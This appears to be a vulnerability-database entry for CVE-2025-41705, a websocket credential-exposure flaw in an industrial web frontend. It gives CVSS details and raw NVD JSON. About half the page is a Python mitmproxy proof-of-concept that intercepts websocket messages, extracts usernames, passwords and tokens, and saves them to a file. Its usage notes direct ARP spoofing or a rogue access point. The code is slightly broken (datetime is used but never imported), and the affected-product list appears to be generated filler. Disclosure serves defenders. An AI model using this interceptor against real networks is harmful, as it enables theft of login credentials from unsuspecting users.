Security Vulnerability Report
中文
CVE-2025-41705 CVSS 6.8 MEDIUM

CVE-2025-41705

Published: 2025-10-14 08:15:36
Last Modified: 2026-04-15 00:35:42

Description

An unauthenticated remote attacker (MITM) can intercept the websocket messages to gain access to the login credentials for the Webfrontend.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

VDE认证工业自动化产品Web前端(具体版本号待厂商确认)
使用未加密Websocket通信(ws://)的所有相关版本
未正确实施TLS验证的wss://部署版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-41705 PoC: Websocket MITM Credential Interception This PoC demonstrates how an attacker can intercept websocket messages to steal login credentials from the affected Webfrontend. Requirements: pip install mitmproxy websocket-client Usage: 1. Set up ARP spoofing or rogue AP to perform MITM 2. Run mitmproxy with the script: mitmdump -s poc.py 3. Wait for victim to login via Webfrontend 4. Credentials will be displayed in console """ from mitmproxy import http, ctx import json import re # Patterns to identify login-related websocket messages LOGIN_PATTERNS = [ re.compile(r'"password"\s*:\s*"([^"]+)"', re.IGNORECASE), re.compile(r'"username"\s*:\s*"([^"]+)"', re.IGNORECASE), re.compile(r'"credentials"\s*:\s*\{([^}]+)\}', re.IGNORECASE), re.compile(r'"token"\s*:\s*"([^"]+)"', re.IGNORECASE), ] class WebsocketCredentialInterceptor: def websocket_message(self, flow): """Intercept and analyze websocket messages""" message = flow.messages[-1] try: payload = message.content.decode('utf-8', errors='ignore') ctx.log.info(f"[+] Intercepted WebSocket message: {payload[:200]}") # Check for credential patterns for pattern in LOGIN_PATTERNS: matches = pattern.findall(payload) if matches: ctx.log.warn(f"[!] POTENTIAL CREDENTIALS DETECTED: {matches}") self.save_credentials(payload, matches) # Try parsing as JSON for structured credentials try: data = json.loads(payload) if isinstance(data, dict): if 'password' in data or 'username' in data: ctx.log.warn(f"[!] JSON credentials found: {data}") self.save_credentials(payload, [str(data)]) except json.JSONDecodeError: pass except Exception as e: ctx.log.error(f"Error processing message: {e}") def save_credentials(self, payload, matches): """Save intercepted credentials to file""" with open("intercepted_credentials.txt", "a") as f: f.write(f"Timestamp: {datetime.now()}\n") f.write(f"Payload: {payload}\n") f.write(f"Matches: {matches}\n") f.write("-" * 50 + "\n") addons = [WebsocketCredentialInterceptor()] # Alternative: Simple websocket listener using websocket-client """ import websocket import threading def on_message(ws, message): print(f"[+] Received: {message}") # Check for credentials in the message if 'password' in message.lower() or 'username' in message.lower(): print(f"[!] CREDENTIALS FOUND: {message}") def on_error(ws, error): print(f"[-] Error: {error}") def on_open(ws): print("[+] Connection established - monitoring for credentials") # Connect to target websocket endpoint ws = websocket.WebSocketApp( "ws://target-host:port/ws", on_message=on_message, on_error=on_error, on_open=on_open ) ws.run_forever() """

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41705", "sourceIdentifier": "[email protected]", "published": "2025-10-14T08:15:35.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker (MITM) can intercept the websocket messages to gain access to the login credentials for the Webfrontend."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-523"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-072", "source": "[email protected]"}, {"url": "http://seclists.org/fulldisclosure/2025/Oct/12", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}